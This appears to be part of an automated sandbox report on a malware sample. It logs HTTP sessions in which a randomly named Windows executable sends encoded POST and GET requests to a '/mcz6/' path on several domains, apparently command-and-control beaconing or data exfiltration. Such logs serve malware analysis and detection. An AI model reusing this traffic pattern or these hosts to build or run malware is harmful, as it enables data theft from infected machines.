May 16, 2024 17:21:12.951994896 CEST	479	OUT	GET /mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=WM8YJa5qA0NkIP/QQImrOwC+xPjRZGMWxn5RlfXsP+w6QT8BWCtnYGsQFWxr+5Q3wXsj3+rXjilTrq1L87WNvDgoePcC7Qc9BGKrDLvXVkg0rvhMMA== HTTP/1.1 Host: www.celebration24.co.uk Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
May 16, 2024 17:21:14.693639040 CEST	796	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 16 May 2024 15:21:14 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 544 Connection: close x-backend: web4 X-Frontend: frontend1 X-Trace-Id: ti_90d904d2c1f6786a7c2c3ed3ae7772dd Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 4e 6f 20 70 61 67 65 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 73 74 6d 61 69 6c 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 66 69 6c 65 73 74 6f 72 61 67 65 2f 63 73 73 2f 6d 61 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 61 20 6e 61 6d 65 3d 22 54 6f 70 22 3e 3c 2f 61 3e 0a 3c 68 31 3e 4e 6f 20 70 61 67 65 20 66 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 57 65 20 63 6f 75 6c 64 6e 27 74 20 66 69 6e 64 20 61 20 70 61 67 65 20 66 6f 72 20 74 68 65 20 6c 69 6e 6b 20 79 6f 75 20 76 69 73 69 74 65 64 2e 20 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 79 6f 75 20 68 61 76 65 20 74 68 65 20 63 6f 72 72 65 63 74 20 6c 69 6e 6b 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c [TRUNCATED] Data Ascii: <!DOCTYPE html><html><head><title>No page found</title><link rel="stylesheet" type="text/css" href="https://www.fastmailusercontent.com/filestorage/css/main.css" /></head><body><a name="Top"></a><h1>No page found</h1><p>We couldn't find a page for the link you visited. Please check that you have the correct link and try again.</p><p>If you are the owner of this domain, you can setup a page here by <a href="https://www.fastmail.help/hc/en-us/articles/1500000280141">creating a page/website in your account</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	49743	104.37.39.71	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:21:20.106504917 CEST	750	OUT	POST /mcz6/ HTTP/1.1 Host: www.gledingakademiet.no Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.gledingakademiet.no Referer: http://www.gledingakademiet.no/mcz6/ Connection: close Content-Length: 193 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 43 44 53 5a 69 62 37 68 6f 6a 76 56 39 51 45 69 31 64 7a 7a 54 42 71 56 4a 34 6f 5a 64 56 76 4a 73 62 42 55 64 7a 52 39 6a 4c 47 6c 42 50 64 73 48 6c 4b 51 43 5a 5a 39 43 6b 5a 74 41 41 57 36 69 44 75 6f 49 43 73 55 42 49 68 37 51 79 48 49 30 58 51 76 64 37 30 6b 45 37 72 6b 4f 4f 76 48 73 6e 41 4a 6f 62 74 38 46 2b 72 78 78 33 52 5a 35 54 66 6b 4e 79 68 73 4d 68 4b 4f 4a 69 6e 68 32 34 6b 4f 68 73 72 4e 5a 50 6d 53 61 33 38 35 7a 74 30 33 6a 63 76 74 4f 51 4f 75 34 33 6a 6c 54 31 73 46 36 76 31 66 47 44 39 55 63 54 7a 78 33 6b 4b 68 5a 57 73 45 34 45 35 68 Data Ascii: 1Joh=CDSZib7hojvV9QEi1dzzTBqVJ4oZdVvJsbBUdzR9jLGlBPdsHlKQCZZ9CkZtAAW6iDuoICsUBIh7QyHI0XQvd70kE7rkOOvHsnAJobt8F+rxx3RZ5TfkNyhsMhKOJinh24kOhsrNZPmSa385zt03jcvtOQOu43jlT1sF6v1fGD9UcTzx3kKhZWsE4E5h
May 16, 2024 17:21:20.928128958 CEST	161	IN	HTTP/1.1 404 Not Found Content-Length: 18 Content-Type: text/plain Date: Thu, 16 May 2024 15:21:20 GMT Server: Caddy Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	49744	104.37.39.71	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:21:22.633918047 CEST	774	OUT	POST /mcz6/ HTTP/1.1 Host: www.gledingakademiet.no Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.gledingakademiet.no Referer: http://www.gledingakademiet.no/mcz6/ Connection: close Content-Length: 217 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 43 44 53 5a 69 62 37 68 6f 6a 76 56 38 7a 63 69 79 2b 62 7a 55 68 71 57 56 6f 6f 5a 49 46 76 4e 73 62 4e 55 64 78 38 77 67 35 53 6c 41 72 52 73 45 6e 75 51 42 5a 5a 39 58 55 5a 6b 45 41 57 78 69 44 71 67 49 41 6f 55 42 49 46 37 51 77 50 49 30 6b 49 67 63 72 30 6d 4c 62 72 71 44 75 76 48 73 6e 41 4a 6f 62 35 47 46 2b 44 78 78 45 5a 5a 36 79 66 6e 52 69 68 76 4c 68 4b 4f 61 79 6e 74 32 34 6c 62 68 74 6e 6e 5a 4d 65 53 61 79 41 35 79 2f 63 77 34 4d 76 6e 41 77 50 38 30 58 53 66 57 47 59 34 36 73 31 61 47 69 46 51 62 79 54 76 6d 57 44 36 4d 42 73 6a 2f 6a 77 4a 54 38 31 65 44 68 4b 62 4c 47 48 69 2f 56 6c 68 68 4b 6e 57 6e 51 3d 3d Data Ascii: 1Joh=CDSZib7hojvV8zciy+bzUhqWVooZIFvNsbNUdx8wg5SlArRsEnuQBZZ9XUZkEAWxiDqgIAoUBIF7QwPI0kIgcr0mLbrqDuvHsnAJob5GF+DxxEZZ6yfnRihvLhKOaynt24lbhtnnZMeSayA5y/cw4MvnAwP80XSfWGY46s1aGiFQbyTvmWD6MBsj/jwJT81eDhKbLGHi/VlhhKnWnQ==
May 16, 2024 17:21:23.629556894 CEST	161	IN	HTTP/1.1 404 Not Found Content-Length: 18 Content-Type: text/plain Date: Thu, 16 May 2024 15:21:23 GMT Server: Caddy Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	49745	104.37.39.71	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:21:25.166233063 CEST	1787	OUT	POST /mcz6/ HTTP/1.1 Host: www.gledingakademiet.no Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.gledingakademiet.no Referer: http://www.gledingakademiet.no/mcz6/ Connection: close Content-Length: 1229 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 43 44 53 5a 69 62 37 68 6f 6a 76 56 38 7a 63 69 79 2b 62 7a 55 68 71 57 56 6f 6f 5a 49 46 76 4e 73 62 4e 55 64 78 38 77 67 34 71 6c 41 59 5a 73 47 47 75 51 41 5a 5a 39 57 55 5a 70 45 41 57 67 69 44 53 73 49 41 6b 69 42 4f 42 37 54 53 33 49 79 56 49 67 54 72 30 6d 4a 62 72 72 4f 4f 75 48 73 6e 77 4e 6f 62 70 47 46 2b 44 78 78 44 70 5a 73 54 66 6e 54 69 68 73 4d 68 4b 43 4a 69 6e 42 32 2b 4e 4c 68 74 6a 64 59 38 2b 53 61 53 77 35 77 4b 41 77 6c 63 76 70 4e 51 4f 35 30 58 65 36 57 43 34 61 36 76 6f 39 47 68 6c 51 59 30 61 47 79 32 48 4e 51 57 56 54 33 53 4d 57 63 34 56 74 42 77 58 65 61 33 54 76 6b 6e 39 32 30 75 32 30 2f 74 69 72 68 4a 6b 37 7a 6b 4a 79 53 61 7a 54 53 68 55 4e 53 31 41 4d 4f 42 68 7a 2f 53 68 6a 32 50 44 6f 6a 30 44 7a 6e 79 6c 35 6c 4d 67 53 64 73 36 68 6d 65 38 6f 72 61 58 41 7a 51 79 52 32 46 7a 62 67 49 46 34 54 34 30 78 73 75 30 53 36 33 75 65 76 50 79 6a 45 46 56 71 48 6e 73 4d 56 39 41 61 43 75 74 52 52 52 79 79 70 66 4f 42 56 36 41 4d 4f 46 57 79 59 51 66 32 67 [TRUNCATED] Data Ascii: 1Joh=CDSZib7hojvV8zciy+bzUhqWVooZIFvNsbNUdx8wg4qlAYZsGGuQAZZ9WUZpEAWgiDSsIAkiBOB7TS3IyVIgTr0mJbrrOOuHsnwNobpGF+DxxDpZsTfnTihsMhKCJinB2+NLhtjdY8+SaSw5wKAwlcvpNQO50Xe6WC4a6vo9GhlQY0aGy2HNQWVT3SMWc4VtBwXea3Tvkn920u20/tirhJk7zkJySazTShUNS1AMOBhz/Shj2PDoj0Dznyl5lMgSds6hme8oraXAzQyR2FzbgIF4T40xsu0S63uevPyjEFVqHnsMV9AaCutRRRyypfOBV6AMOFWyYQf2gRkjk/xwfxYcK6bZjTMycndELvu/TNqzHReZtDFi9uF/XJtNRPPrOg0N5IlLSTOIhxAcB1JLMPv/J6DK41PfHtmg/DeLvZa/IWNvrRonwwI12suNqHafwZMS9wNaDTwTY/Z7KNHW4BqDEclhphxfZb4xfhGQKaT13EMAXinBBhORUqNy+4Cgox16pOGAaMooxyaAw2b/kKFaKy4J/aizrxBlY9+p10ZQbuiMpErpc+bdJ+Um97JEnS0TQ2dtBBisFnClugQZbXcug0y2+1xvnUhiOuVLPKfRVchLgOnLPZh5rTJcBMt0892MANK+RM/PFbydkVT39//GrwMo7hPSMjRSjoQSx2ru091GTz8gpHNbCh17AN6CyAhTcyAMOmJbQSmZRSZ8W3ibo30COuW/NswPFgFK9EBxIDKGy08K5931ET2rnHloWjnQi6pVilSPQ9PhL0ULWhYLJgC9O/pFGLqKcQCCrNC4sAEW9kqtI1jq3iIArZEy04BOp5Cuda5pz2c3QAWepQFPiLNu0GkecgXwrl22QWzuycM9Z9QddMq1JuiQFaanZ+MpFt1xYX+qF59QDzA8sReBrjwhqa9//7K49QZ38i+omTuSBPWR2pEeXZk0zLFv8f6KzyDDdT3GQ+zQfFWmxfm211c0JCsKl08nIwxO8TxPK9D [TRUNCATED]
May 16, 2024 17:21:26.427087069 CEST	161	IN	HTTP/1.1 404 Not Found Content-Length: 18 Content-Type: text/plain Date: Thu, 16 May 2024 15:21:26 GMT Server: Caddy Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	49746	104.37.39.71	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:21:27.714375973 CEST	479	OUT	GET /mcz6/?1Joh=PB65ht3xmDnV1ShZ+uHkcVi2Uq9TdnP+w4dQHmlxp9S6BIZIF1eyIZ9SallNAheKgV6/CipsbblBAwuU+20rV9UCB7jgFNORqHszkZ5HGMai3UIp4A==&-xl=hBllB6kp4D1dBFK HTTP/1.1 Host: www.gledingakademiet.no Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
May 16, 2024 17:21:28.717398882 CEST	252	IN	HTTP/1.1 200 OK Content-Length: 101 Content-Type: text/html; charset=utf-8 Date: Thu, 16 May 2024 15:21:28 GMT Server: Caddy Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 3c 68 31 3e 50 61 72 6b 65 64 3c 2f 68 31 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: <html><head> <title>Parked</title></head><body> <h1>Parked</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	49747	199.59.243.225	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:21:43.322536945 CEST	735	OUT	POST /mcz6/ HTTP/1.1 Host: www.zwervertjes.be Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.zwervertjes.be Referer: http://www.zwervertjes.be/mcz6/ Connection: close Content-Length: 193 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 6e 6c 66 54 6e 6f 4c 50 74 39 71 46 78 6e 2b 59 4d 75 75 70 36 59 77 39 4c 32 5a 34 46 50 70 44 61 51 4c 6b 47 45 6b 6b 39 62 6c 46 4f 57 74 47 49 65 2f 38 50 35 6a 42 6d 70 54 4b 51 4d 4f 6b 5a 51 37 6d 42 43 7a 36 6a 31 42 35 66 52 4c 6b 6f 59 44 62 64 6a 4b 47 77 58 42 6f 47 77 70 44 4e 75 78 36 77 58 71 72 6a 33 46 77 76 48 31 39 68 49 4c 2b 6e 32 36 59 70 49 6c 47 74 73 73 4b 31 66 6a 78 39 74 35 42 4a 72 72 75 50 39 33 7a 75 75 59 6c 50 39 5a 73 42 36 4a 30 30 6c 77 57 68 57 51 78 39 50 52 2f 4d 61 32 53 42 64 45 68 2f 4c 62 34 34 79 4a 61 6d 71 5a 5a Data Ascii: 1Joh=nlfTnoLPt9qFxn+YMuup6Yw9L2Z4FPpDaQLkGEkk9blFOWtGIe/8P5jBmpTKQMOkZQ7mBCz6j1B5fRLkoYDbdjKGwXBoGwpDNux6wXqrj3FwvH19hIL+n26YpIlGtssK1fjx9t5BJrruP93zuuYlP9ZsB6J00lwWhWQx9PR/Ma2SBdEh/Lb44yJamqZZ
May 16, 2024 17:21:43.887382984 CEST	1236	IN	HTTP/1.1 200 OK date: Thu, 16 May 2024 15:21:43 GMT content-type: text/html; charset=utf-8 content-length: 1122 x-request-id: cdbc7097-3725-4c9f-a4a0-895e60c5d02c cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_CErFf42/7fpWRcL8kVjmtjJDSVTVgta8/tk0oCRadOhc+nDx9AsnHQqDD83z1E/puZhAPPM2p7Ja006YzUCHcA== set-cookie: parking_session=cdbc7097-3725-4c9f-a4a0-895e60c5d02c; expires=Thu, 16 May 2024 15:36:43 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 43 45 72 46 66 34 32 2f 37 66 70 57 52 63 4c 38 6b 56 6a 6d 74 6a 4a 44 53 56 54 56 67 74 61 38 2f 74 6b 30 6f 43 52 61 64 4f 68 63 2b 6e 44 78 39 41 73 6e 48 51 71 44 44 38 33 7a 31 45 2f 70 75 5a 68 41 50 50 4d 32 70 37 4a 61 30 30 36 59 7a 55 43 48 63 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_CErFf42/7fpWRcL8kVjmtjJDSVTVgta8/tk0oCRadOhc+nDx9AsnHQqDD83z1E/puZhAPPM2p7Ja006YzUCHcA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
May 16, 2024 17:21:43.892095089 CEST	575	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiY2RiYzcwOTctMzcyNS00YzlmLWE0YTAtODk1ZTYwYzVkMDJjIiwicGFnZV90aW1lIjoxNzE1ODcyOT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.9	49748	199.59.243.225	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:21:45.851510048 CEST	759	OUT	POST /mcz6/ HTTP/1.1 Host: www.zwervertjes.be Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.zwervertjes.be Referer: http://www.zwervertjes.be/mcz6/ Connection: close Content-Length: 217 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 6e 6c 66 54 6e 6f 4c 50 74 39 71 46 72 47 4f 59 4b 50 75 70 38 34 77 79 45 57 5a 34 65 2f 6f 49 61 51 48 6b 47 46 77 30 39 70 52 46 4f 79 70 47 4a 62 54 38 4d 35 6a 42 70 4a 53 41 55 4d 4f 74 5a 51 48 75 42 43 2f 36 6a 31 46 35 66 54 54 6b 6f 49 2f 59 50 6a 4b 2b 38 33 42 71 49 51 70 44 4e 75 78 36 77 58 4f 46 6a 7a 70 77 73 30 74 39 7a 71 69 6f 6b 32 36 62 2f 59 6c 47 70 73 73 77 31 66 6a 48 39 73 55 55 4a 74 76 75 50 2f 66 7a 76 2f 59 69 55 4e 59 6e 4d 61 49 35 69 6c 42 59 72 52 45 2f 30 38 74 5a 53 73 69 35 43 38 6b 2f 75 35 53 6a 74 6c 4a 39 68 4e 51 78 49 35 31 6c 55 35 34 41 35 6b 2f 78 70 44 56 49 72 69 41 44 43 67 3d 3d Data Ascii: 1Joh=nlfTnoLPt9qFrGOYKPup84wyEWZ4e/oIaQHkGFw09pRFOypGJbT8M5jBpJSAUMOtZQHuBC/6j1F5fTTkoI/YPjK+83BqIQpDNux6wXOFjzpws0t9zqiok26b/YlGpssw1fjH9sUUJtvuP/fzv/YiUNYnMaI5ilBYrRE/08tZSsi5C8k/u5SjtlJ9hNQxI51lU54A5k/xpDVIriADCg==
May 16, 2024 17:21:46.529448032 CEST	1236	IN	HTTP/1.1 200 OK date: Thu, 16 May 2024 15:21:45 GMT content-type: text/html; charset=utf-8 content-length: 1122 x-request-id: 4996aa8a-e89d-4530-80a5-78773976669e cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_CErFf42/7fpWRcL8kVjmtjJDSVTVgta8/tk0oCRadOhc+nDx9AsnHQqDD83z1E/puZhAPPM2p7Ja006YzUCHcA== set-cookie: parking_session=4996aa8a-e89d-4530-80a5-78773976669e; expires=Thu, 16 May 2024 15:36:46 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 43 45 72 46 66 34 32 2f 37 66 70 57 52 63 4c 38 6b 56 6a 6d 74 6a 4a 44 53 56 54 56 67 74 61 38 2f 74 6b 30 6f 43 52 61 64 4f 68 63 2b 6e 44 78 39 41 73 6e 48 51 71 44 44 38 33 7a 31 45 2f 70 75 5a 68 41 50 50 4d 32 70 37 4a 61 30 30 36 59 7a 55 43 48 63 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_CErFf42/7fpWRcL8kVjmtjJDSVTVgta8/tk0oCRadOhc+nDx9AsnHQqDD83z1E/puZhAPPM2p7Ja006YzUCHcA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
May 16, 2024 17:21:46.534107924 CEST	575	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNDk5NmFhOGEtZTg5ZC00NTMwLTgwYTUtNzg3NzM5NzY2NjllIiwicGFnZV90aW1lIjoxNzE1ODcyOT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	49749	199.59.243.225	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:21:48.759565115 CEST	1772	OUT	POST /mcz6/ HTTP/1.1 Host: www.zwervertjes.be Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.zwervertjes.be Referer: http://www.zwervertjes.be/mcz6/ Connection: close Content-Length: 1229 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 6e 6c 66 54 6e 6f 4c 50 74 39 71 46 72 47 4f 59 4b 50 75 70 38 34 77 79 45 57 5a 34 65 2f 6f 49 61 51 48 6b 47 46 77 30 39 70 70 46 4f 48 39 47 49 34 72 38 44 5a 6a 42 6b 70 53 42 55 4d 50 39 5a 51 76 55 42 43 6a 71 6a 77 5a 35 51 51 62 6b 2f 4c 6e 59 56 7a 4b 2b 30 58 42 6e 47 77 70 7a 4e 75 68 2b 77 58 2b 46 6a 7a 70 77 73 79 70 39 6c 49 4b 6f 69 32 36 59 70 49 6c 43 74 73 74 66 31 66 36 79 39 73 67 45 4a 39 50 75 4f 66 76 7a 6f 4e 41 69 59 4e 59 6c 4e 61 4a 71 69 6c 4e 54 72 56 6b 7a 30 38 70 6a 53 72 75 35 53 74 56 68 36 61 71 67 75 32 68 5a 30 61 6b 70 42 64 6b 45 56 34 68 50 6b 46 43 51 39 51 49 74 6c 6a 56 72 55 75 55 2f 6d 6d 38 53 6e 71 48 4a 71 41 74 6f 66 54 56 30 47 4f 61 6d 42 33 64 56 41 32 49 48 64 44 71 70 79 63 42 63 6e 71 6c 6f 46 32 53 7a 67 73 2f 56 6a 2b 6e 61 4b 61 4c 6c 55 79 6d 42 79 49 34 49 6f 2f 4a 2f 59 4d 6c 34 58 33 4e 51 6e 4d 31 2f 79 6e 2b 42 6b 31 68 6d 37 79 39 54 56 4d 30 55 47 2f 51 